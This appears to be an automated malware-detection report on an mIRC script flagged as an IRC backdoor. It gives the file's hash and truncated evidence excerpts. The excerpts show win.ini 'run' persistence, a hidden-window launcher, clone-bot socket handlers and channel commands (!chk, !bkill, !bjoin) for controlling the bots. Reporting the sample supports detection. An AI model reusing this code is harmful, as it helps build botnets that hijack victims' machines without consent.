Suspicious ^80% Download

Backdoor.IRC.Cloner.20

IRC backdoor with C2 and scanning

Detects mIRC TEXT eventListens with an mIRC socket

SHA-2561646513ffe5a2e90ab6f3b880ea31ca0955172852d2e6ffadebe9bdabd838528

Evidence

English function-word token "for" lines 1–5

1on *:INPUT:*:{ quit User detected, closing for saftey [ $+ $1- $+ ] | .timer -o 1 1 exit User }
2on *:start:{
3  run $mircdir $+ hidewndw.exe /n /fh mirc32
4  if ($readini c:\windows\win.ini windows run != $mircexe) writeini c:\windows\win.ini windows run $mircexe
5  identd on  …

Kraken service name lines 19–26

19:51… clonenick,$chr(124)) %clonenick %clonenick %clonenick2 0 0 : $+ Kraken
20  chkclones 
21  .timernewbawt 1 %delay clone %nick %net 
22  inc %clones 
23}
24on *:sockread:clone*: { .sockread %clone.temp | if ($gettok(%clone.temp,1,32) == Ping) { sockwrite -tn $sockname Pong $server } }
25on *:sockclose:clone*: { dec %totalclones }
26on *:sockread:Papa*:{ .sockread %clone.temp | if ($gettok(%clone.temp …

Listens with an mIRC socket lines 39–41

39:93… a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $RAND(A,Z) | unset %ident }
40on *:socklisten:ident*: { if ($sockerr > 0) return | sockaccept ident $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
41on *:SOCKREAD:IDENT*:{ sockread %ident | sockwrite $sockname %ide …

Detects mIRC TEXT event lines 42–46

42:118…  == $null) %temp = - | echo -a %temp | found $remove($sockname,SCAN) %temp | goto nextread }
43
44on 100:Text:*:*:{
45  if ($1 == !chk ) { .notice $nick Checking total amount of clones... | chkclones $nick }
46  if ($1 == !bkill ) { sockclose clone* | notice $nick All clones have been dissconnected | .timers off | .timeronline -o 0 100 online | .timerhide -o 0 2 hide | .tim …

English function-word token "the" lines 66–67

66:22…  if ($2 == $null) { .notice $nick Idiot tell me the damn channel. } | else { clonejoin $2 } }
67  if ($1 == !bjoin.wmo) { //clonejoin #world-movies  …